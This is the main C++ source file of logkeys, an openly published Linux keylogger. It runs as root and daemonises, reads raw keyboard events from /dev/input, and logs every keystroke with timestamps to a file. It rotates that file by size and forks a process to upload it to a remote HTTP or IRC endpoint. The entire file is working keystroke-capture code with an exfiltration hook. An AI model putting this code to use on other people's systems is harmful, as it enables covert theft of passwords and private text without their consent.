logkeys/src/logkeys.cc

/*
  Copyleft (ɔ) 2009 Kernc
  This program is free software. It comes with absolutely no warranty whatsoever.
  See COPYING for further information.

  Project homepage: https://github.com/kernc/logkeys
 */

#include <cstdio>
#include <cerrno>
#include <cwchar>
#include <vector>
#include <cstring>
#include <fstream>
#include <sstream>
#include <cstdlib>
#include <csignal>
#include <error.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>
#include <wctype.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/input.h>
#include <chrono> // for precise time messureing

#ifdef HAVE_CONFIG_H
# include <config.h>  // include config produced from ./configure
#endif

#ifndef  PACKAGE_VERSION
# define PACKAGE_VERSION "0.1.2"  // if PACKAGE_VERSION wasn't defined in <config.h>
#endif

// the following path-to-executable macros should be defined in config.h;
#ifndef  EXE_PS
# define EXE_PS "/bin/ps"
#endif

#ifndef  EXE_GREP
# define EXE_GREP "/bin/grep"
#endif

#ifndef  EXE_DUMPKEYS
# define EXE_DUMPKEYS "/usr/bin/dumpkeys"
#endif

#define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" )
#define COMMAND_STR_GET_PID  ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() )
#define COMMAND_STR_CAPSLOCK_STATE ("{ { xset q 2>/dev/null | grep -q -E 'Caps Lock: +on'; } || { setleds 2>/dev/null | grep -q 'CapsLock on'; }; } && echo on")

#define INPUT_EVENT_PATH  "/dev/input/"  // standard path
#define DEFAULT_LOG_FILE  "/var/log/logkeys.log"
#define PID_FILE          "/var/run/logkeys.pid"

#include "usage.cc"      // usage() function
#include "args.cc"       // global arguments struct and arguments parsing
#include "keytables.cc"  // character and function key tables and helper functions
#include "upload.cc"     // functions concerning remote uploading of log file

// these event.value-s aren't defined in <linux/input.h> ?
#define EV_MAKE   1  // when key pressed
#define EV_BREAK  0  // when key released
#define EV_REPEAT 2  // when key switches to repeating after short delay
#define TIME_FORMAT "%F %T%z > "  // results in YYYY-mm-dd HH:MM:SS+ZZZZ

namespace logkeys {

// executes cmd and returns string ouput
std::string execute(const char* cmd)
{
	FILE* pipe = popen(cmd, "r");
	if (!pipe)
		error(EXIT_FAILURE, errno, "Pipe error");
	char buffer[128];
	std::string result = "";
	while (!feof(pipe))
		if (fgets(buffer, 128, pipe) != NULL)
			result += buffer;
	pclose(pipe);
	return result;
}


int input_fd = -1;  // input event device file descriptor; global so that signal_handler() can access it

void signal_handler(int signal)
{
	if (input_fd != -1)
		close(input_fd);  // closing input file will break the infinite while loop
}

void set_utf8_locale()
{
	// set locale to common UTF-8 for wchars to be recognized correctly
	if (setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) { // if en_US.UTF-8 isn't available
		char *locale = setlocale(LC_CTYPE, "");  // try the locale that corresponds to the value of the associated environment variable LC_CTYPE
		if (!(locale != NULL && (strstr(locale, "UTF-8") != NULL || strstr(locale, "UTF8") != NULL || strstr(locale, "utf-8") != NULL || strstr(locale, "utf8") != NULL)))
			// if locale has "UTF-8" in its name, it is cool to do nothing
			error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type, or you need en_US.UTF-8 availabe");
	}
}

void exit_cleanup(int status, void *discard)
{
	// TODO:
}

void create_PID_file()
{
	// create temp file carrying PID for later retrieval
	int pid_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
	if (pid_fd != -1) {
		char pid_str[16] = { 0 };
		sprintf(pid_str, "%d", getpid());
		if (write(pid_fd, pid_str, strlen(pid_str)) == -1)
			error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
		close(pid_fd);
	} else {
		if (errno == EEXIST)  // This should never happen
			error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")");
		else
			error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
	}
}

void kill_existing_process()
{
	pid_t pid;
	bool via_file = true;
	bool via_pipe = true;
	FILE *temp_file = fopen(PID_FILE, "r");

	via_file &= (temp_file != NULL);

	if (via_file) {  // kill process with pid obtained from PID file
		via_file &= (fscanf(temp_file, "%d", &pid) == 1);
		fclose(temp_file);
	}

	if (!via_file) {  // if reading PID from temp_file failed, try ps-grep pipe
		via_pipe &= (sscanf(execute(COMMAND_STR_GET_PID).c_str(), "%d", &pid) == 1);
		via_pipe &= (pid != getpid());
	}

	if (via_file || via_pipe) {
		remove(PID_FILE);
		kill(pid, SIGINT);

		exit(EXIT_SUCCESS);  // process killed successfully, exit
	}
	error(EXIT_FAILURE, 0, "No process killed");
}

void set_signal_handling()
{ // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully
	struct sigaction act = { { 0 } };
	act.sa_handler = signal_handler;
	sigaction(SIGHUP, &act, NULL);
	sigaction(SIGINT, &act, NULL);
	sigaction(SIGTERM, &act, NULL);
	// prevent child processes from becoming zombies
	act.sa_handler = SIG_IGN;
	sigaction(SIGCHLD, &act, NULL);
}

void determine_system_keymap()
{
	// custom map will be used; erase existing US keymapping
	memset(char_keys, '\0', sizeof(char_keys));
	memset(shift_keys, '\0', sizeof(shift_keys));
	memset(altgr_keys, '\0', sizeof(altgr_keys));

	// get keymap from dumpkeys
	// if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
	std::stringstream ss, dump(execute(COMMAND_STR_DUMPKEYS));  // see example output after i.e. `loadkeys slovene`
	std::string line;

	unsigned int i = 0;   // keycode
	int index;
	int utf8code;      // utf-8 code of keysym answering keycode i

	while (std::getline(dump, line)) {
		ss.clear();
		ss.str("");
		utf8code = 0;

		// replace any U+#### with 0x#### for easier parsing
		index = line.find("U+", 0);
		while (static_cast<std::string::size_type>(index) != std::string::npos) {
			line[index] = '0';
			line[index + 1] = 'x';
			index = line.find("U+", index);
		}

		if (++i >= sizeof(char_or_func))
			break;  // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
		if (!is_char_key(i))
			continue;  // only map character keys of keyboard

		assert(line.size() > 0);
		if (line[0] == 'k') {  // if line starts with 'keycode'
			index = to_char_keys_index(i);

			ss << &line[14];  // 1st keysym starts at index 14 (skip "keycode XXX = ")
			ss >> std::hex >> utf8code;
			// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
			if (line[14] == '+' && (utf8code & 0xB00))
				utf8code ^= 0xB00;
			char_keys[index] = static_cast<wchar_t>(utf8code);

			// if there is a second keysym column, assume it is a shift column
			if (ss >> std::hex >> utf8code) {
				if (line[14] == '+' && (utf8code & 0xB00))
					utf8code ^= 0xB00;
				shift_keys[index] = static_cast<wchar_t>(utf8code);
			}

			// if there is a third keysym column, assume it is an altgr column
			if (ss >> std::hex >> utf8code) {
				if (line[14] == '+' && (utf8code & 0xB00))
					utf8code ^= 0xB00;
				altgr_keys[index] = static_cast<wchar_t>(utf8code);
			}

			continue;
		}

		// else if line starts with 'shift i'
		index = to_char_keys_index(--i);
		ss << &line[21];  // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
		ss >> std::hex >> utf8code;
		if (line[21] == '+' && (utf8code & 0xB00))
			utf8code ^= 0xB00;  // see line 0XB00CLUELESS

		if (line[1] == 's')  // if line starts with "shift"
			shift_keys[index] = static_cast<wchar_t>(utf8code);
		if (line[1] == 'a')  // if line starts with "altgr"
			altgr_keys[index] = static_cast<wchar_t>(utf8code);
	} // while (getline(dump, line))
}


void parse_input_keymap()
{
	// custom map will be used; erase existing US keytables
	memset(char_keys, '\0', sizeof(char_keys));
	memset(shift_keys, '\0', sizeof(shift_keys));
	memset(altgr_keys, '\0', sizeof(altgr_keys));

	stdin = freopen(args.keymap.c_str(), "r", stdin);
	if (stdin == NULL)
		error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap.c_str());

	unsigned int i = -1;
	unsigned int line_number = 0;
	wchar_t func_string[32];
	wchar_t line[32];

	while (!feof(stdin)) {

		if (++i >= sizeof(char_or_func))
			break;  // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)

		if (is_used_key(i)) {
			++line_number;
			if (fgetws(line, sizeof(line), stdin) == NULL) {
				if (feof(stdin))
					break;
				else
					error_at_line(EXIT_FAILURE, errno, args.keymap.c_str(), line_number, "fgets() error");
			}
			// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
			if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()!
				error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Line too long!");
			// terminate line before any \r or \n
			std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n");
			if (last == std::wstring::npos)
				error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "No characters on line");
			line[last + 1] = '\0';
		}

		if (is_char_key(i)) {
			unsigned int index = to_char_keys_index(i);
			if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) {
				error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Too few input characters on line");
			}
		}
		if (is_func_key(i)) {
			if (i == KEY_SPACE)
				continue;  // space causes empty string and trouble
			if (swscanf(line, L"%7ls", &func_string[0]) != 1)
				error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Invalid function key string");  // does this ever happen?
			wcscpy(func_keys[to_func_keys_index(i)], func_string);
		}
	} // while (!feof(stdin))
	fclose(stdin);

	if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x  // quotes x so it can be used as (char*)
		error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap.c_str());
}

void export_keymap_to_file()
{
	int keymap_fd = open(args.keymap.c_str(), O_CREAT | O_EXCL | O_WRONLY, 0644);
	if (keymap_fd == -1)
		error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap.c_str());
	char buffer[32];
	int buflen = 0;
	unsigned int index;
	for (unsigned int i = 0; i < sizeof(char_or_func); ++i) {
		buflen = 0;
		if (is_char_key(i)) {
			index = to_char_keys_index(i);
			// only export non-null characters
			if (char_keys[index] != L'\0' && shift_keys[index] != L'\0' && altgr_keys[index] != L'\0')
				buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
			else if (char_keys[index] != L'\0' && shift_keys[index] != L'\0')
				buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);
			else if (char_keys[index] != L'\0')
				buflen = sprintf(buffer, "%lc\n", char_keys[index]);
			else
				// if all \0, export nothing on that line (=keymap will not parse)
				buflen = sprintf(buffer, "\n");
		} else if (is_func_key(i)) {
			buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]);
		}

		if (is_used_key(i))
			if (write(keymap_fd, buffer, buflen) < buflen)
				error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap.c_str());
	}
	close(keymap_fd);
	error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap.c_str());
	exit(EXIT_SUCCESS);
}

void determine_input_device()
{
	// better be safe than sory: while running other programs, switch user to nobody
	setegid(65534);
	seteuid(65534);

	// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
	// The compiler automatically concatenates these adjacent strings to a single string.
	const char* cmd = EXE_GREP " -E 'Handlers|EV=' /proc/bus/input/devices | "
	EXE_GREP " -B1 'EV=1[02]001[3Ff]' | "
	EXE_GREP " -Eo 'event[0-9]+' ";
	std::stringstream output(execute(cmd));

	std::vector<std::string> results;
	std::string line;

	while (std::getline(output, line)) {
		std::string::size_type i = line.find("event");
		if (i != std::string::npos)
			i += 5; // "event".size() == 5
		if (i < line.size()) {
			int index = atoi(&line.c_str()[i]);

			if (index != -1) {
				std::stringstream input_dev_path;
				input_dev_path << INPUT_EVENT_PATH;
				input_dev_path << "event";
				input_dev_path << index;

				results.push_back(input_dev_path.str());
			}
		}
	}

	if (results.size() == 0) {
		error(0, 0, "Couldn't determine keyboard device. :/");
		error(EXIT_FAILURE, 0, "Please post contents of your /proc/bus/input/devices file as a new bug report. Thanks!");
	}

	args.device = results[0];  // for now, use only the first found device

	// now we reclaim those root privileges
	seteuid(0);
	setegid(0);
}

void init() {
	if (geteuid())
		error(EXIT_FAILURE, errno, "Got r00t?");
	// kill existing logkeys process
	if (args.kill)
		kill_existing_process();

	// if neither start nor export, that must be an error
	if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) {
		usage();
		exit(EXIT_FAILURE);
	}

	// if posting remote and post_size not set, set post_size to default [500K bytes]
	if (args.post_size == 0 && (!args.http_url.empty() || !args.irc_server.empty())) {
		args.post_size = 500000;
	}

	// check for incompatible flags
	if (!args.keymap.empty() && (!(args.flags & FLAG_EXPORT_KEYMAP) && args.us_keymap)) {  // exporting uses args.keymap also
		error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage.");
	}

	// check for incompatible flags: if posting remote and output is set to stdout
	if (args.post_size != 0 && (args.logfile == "-")) {
		error(EXIT_FAILURE, 0, "Incompatible flags [--post-size | --post-http] and --output to stdout");
	}

	set_utf8_locale();

	if (args.flags & FLAG_EXPORT_KEYMAP) {
		if (!args.us_keymap)
			determine_system_keymap();
		export_keymap_to_file();
		// = exit(0)
	} else if (!args.keymap.empty())  // custom keymap in use
		parse_input_keymap();
	else
		determine_system_keymap();

	if (args.device.empty()) {  // no device given with -d switch
		determine_input_device();
	} else {  // event device supplied as -d argument
		std::string::size_type i = args.device.find_last_of('/');
		args.device = (std::string(INPUT_EVENT_PATH) + args.device.substr(i == std::string::npos ? 0 : i + 1));
	}

	set_signal_handling();

	close(STDIN_FILENO);
	// leave stderr open
	if (args.logfile != "-") {
		close(STDOUT_FILENO);
	}

	// open input device for reading
	input_fd = open(args.device.c_str(), O_RDONLY);
	if (input_fd == -1) {
		error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device.c_str());
	}

	// if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't!
	if (args.logfile == DEFAULT_LOG_FILE) {
		seteuid(getuid());
		setegid(getgid());
	}
}

std::string createStamp() {
	std::chrono::time_point < std::chrono::system_clock > time = std::chrono::system_clock::now();
	auto time_ms = std::chrono::duration_cast < std::chrono::milliseconds > (time.time_since_epoch());
	std::string out = "";
	if(!args.onlyms) {
		time_t cur_time = std::chrono::system_clock::to_time_t(time);
		time_ms = std::chrono::duration_cast < std::chrono::milliseconds > (time - std::chrono::system_clock::from_time_t(cur_time));
		char timestamp[32];
		strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
		out = std::string(timestamp);
	}
	return out + std::to_string(time_ms.count()) + "ms : ";
}

int printBeginStamp(FILE* out) {
	std::string timestamp = createStamp();
	int size = 0;
	if (args.flags & FLAG_NO_TIMESTAMPS)
		size = fputs(("Logging started at " + timestamp + "\n\n").c_str(), out);
	else
		size = fputs(("Logging started ...\n\n" + timestamp).c_str(), out);
	fflush(out);
	return size > 0 ? size : 0;
}

int printTimeStamp(FILE* out) {
	int size = 0;
	if (!(args.flags & FLAG_NO_TIMESTAMPS))
		size = fputs(("\n" + createStamp()).c_str(), out);
	return size;
}

int main(int argc, char **argv)
{
	on_exit(exit_cleanup, NULL);

	args.logfile = (char*) DEFAULT_LOG_FILE;  // default log file will be used if none specified

	process_command_line_arguments(argc, argv);

	init();

	// open log file (if file doesn't exist, create it with safe 0600 permissions)
	umask(0177);
	FILE *out = NULL;
	if (args.logfile == "-") {
		out = stdout;
	} else {
		out = fopen(args.logfile.c_str(), "a");
	}
	if (!out)
		error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str());

	if (access(PID_FILE, F_OK) != -1)  // PID file already exists
		error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")");

	if (!(args.flags & FLAG_NO_DAEMON)) {
		int noclose = 1;  // don't close streams (stderr used)
		if (daemon(0, noclose) == -1)  // become daemon
			error(EXIT_FAILURE, errno, "Failed to become daemon");
	}

	// now we need those privileges back in order to create system-wide PID_FILE
	seteuid(0);
	setegid(0);
	if (!(args.flags & FLAG_NO_DAEMON)) {
		create_PID_file();
	}

	// now we've got everything we need, finally drop privileges by becoming 'nobody'
	//setegid(65534); seteuid(65534);   // commented-out, I forgot why xD

	unsigned int scan_code, prev_code = 0;  // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
	struct input_event event;
	//char timestamp[32];  // timestamp string, long enough to hold format "\n%F %T%z > "
	bool capslock_in_effect = execute(COMMAND_STR_CAPSLOCK_STATE).size() >= 2;
	bool shift_in_effect = false;
	bool altgr_in_effect = false;
	bool ctrl_in_effect = false;  // used for identifying Ctrl+C / Ctrl+D
	int count_repeats = 0;  // count_repeats differs from the actual number of repeated characters! afaik, only the OS knows how these two values are related (by respecting configured repeat speed and delay)

	struct stat st;
	stat(args.logfile.c_str(), &st);
	off_t file_size = st.st_size;  // log file is currently file_size bytes "big"
	int inc_size;  // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration

	/*time_t cur_time;
  time(&cur_time);
  strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
	 */
	file_size += printBeginStamp(out);

	// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
	while (read(input_fd, &event, sizeof(struct input_event)) > 0) {

		if (event.type != EV_KEY)
			continue;  // keyboard events are always of type EV_KEY

		inc_size = 0;
		scan_code = event.code;

		if (scan_code >= sizeof(char_or_func)) {  // keycode out of range, log error
			inc_size += fprintf(out, "<E-%x>", scan_code);
			if (inc_size > 0)
				file_size += inc_size;
			continue;
		}

		// if remote posting is enabled and size treshold is reached
		if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) {
			fclose(out);

			std::stringstream ss;
			for (int i = 1;; ++i) {
				ss.clear();
				ss.str("");
				ss << args.logfile << "." << i;
				if (stat(ss.str().c_str(), &st) == -1)
					break;  // file .log.i doesn't yet exist
			}

			if (rename(args.logfile.c_str(), ss.str().c_str()) == -1)  // move current log file to indexed
				error(EXIT_FAILURE, errno, "Error renaming logfile");

			out = fopen(args.logfile.c_str(), "a");  // open empty log file with the same name
			if (!out)
				error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str());

			file_size = 0;  // new log file is now empty

			// write new timestamp
			//time(&cur_time);
			//strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
			file_size += printBeginStamp(out);

			if (!args.http_url.empty() || !args.irc_server.empty()) {
				switch (fork()) {
				case -1:
					error(0, errno, "Error while forking remote-posting process"); break;
				case 0:
					start_remote_upload();  // child process will upload the .log.i files
					exit(EXIT_SUCCESS);
				}
			}
		}

		// on key repeat ; must check before on key press
		if (event.value == EV_REPEAT) {
			++count_repeats;
		} else if (count_repeats) {
			if (!(prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL || prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT || prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL))  // if repeated key is modifier, do nothing
			{
				if (! ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code))) // if repeated was function key, and if we don't log function keys, then don't log repeat either
					inc_size += fprintf(out, "<#+%d>", count_repeats);
			}
			count_repeats = 0;  // reset count for future use
		}

		// on key press
		if (event.value == EV_MAKE) {

			// on ENTER key or Ctrl+C/Ctrl+D event  or precise is enabled append timestamp
			if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) {
				if (ctrl_in_effect)
					inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]);  // log C or D
				if (args.flags & FLAG_NO_TIMESTAMPS)
					inc_size += fprintf(out, "\n");
				else
					inc_size += printTimeStamp(out);

				if (inc_size > 0)
					file_size += inc_size;
				//continue;  // but don't log "<Enter>"
			} else if (args.precise) {
				inc_size += printTimeStamp(out);
			}

			if (scan_code == KEY_CAPSLOCK)
				capslock_in_effect = !capslock_in_effect;

			if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT)
				shift_in_effect = true;
			if (scan_code == KEY_RIGHTALT)
				altgr_in_effect = true;
			if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL)
				ctrl_in_effect = true;

			// print character or string coresponding to received keycode; only print chars when not \0
			if (is_char_key(scan_code)) {
				wchar_t wch;
				if (altgr_in_effect) {
					wch = altgr_keys[to_char_keys_index(scan_code)];
					if (wch == L'\0') {
						if (shift_in_effect)
							wch = shift_keys[to_char_keys_index(scan_code)];
						else
							wch = char_keys[to_char_keys_index(scan_code)];
					}
				}

				else if (capslock_in_effect && iswalpha(char_keys[to_char_keys_index(scan_code)])) { // only bother with capslock if alpha
					if (shift_in_effect) // capslock and shift cancel each other
						wch = char_keys[to_char_keys_index(scan_code)];
					else
						wch = shift_keys[to_char_keys_index(scan_code)];
					if (wch == L'\0')
						wch = char_keys[to_char_keys_index(scan_code)];
				}

				else if (shift_in_effect) {
					wch = shift_keys[to_char_keys_index(scan_code)];
					if (wch == L'\0')
						wch = char_keys[to_char_keys_index(scan_code)];
				} else
					// neither altgr nor shift are effective, this is a normal char
					wch = char_keys[to_char_keys_index(scan_code)];

				if (wch != L'\0')
					//inc_size += fprintf(out, "%lc", wch);  // write character to log file
					inc_size += fputc(wch, out);
			} else if (is_func_key(scan_code)) {
				if (!(args.flags & FLAG_NO_FUNC_KEYS)) {  // only log function keys if --no-func-keys not requested
					inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]);
				} else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
					inc_size += fprintf(out, " ");  // but always log a single space for Space and Tab keys
				}
			} else
				inc_size += fprintf(out, "<E-%x>", scan_code);  // keycode is neither of character nor function, log error

			fflush(out);
		} // if (EV_MAKE)

		// on key release
		if (event.value == EV_BREAK) {
			if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT)
				shift_in_effect = false;
			if (scan_code == KEY_RIGHTALT)
				altgr_in_effect = false;
			if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL)
				ctrl_in_effect = false;
		}

		prev_code = scan_code;
		fflush(out);
		if (inc_size > 0)
			file_size += inc_size;

	} // while (read(input_fd))

	// append final timestamp, close files and exit
	//time(&cur_time);
	//strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time));
	fputs(("\n\nLogging stopped at " + createStamp() + "\n\n").c_str(), out);

	fclose(out);

	remove(PID_FILE);

	exit(EXIT_SUCCESS);
} // main()

} // namespace logkeys

int main(int argc, char** argv)
{
	return logkeys::main(argc, argv);
}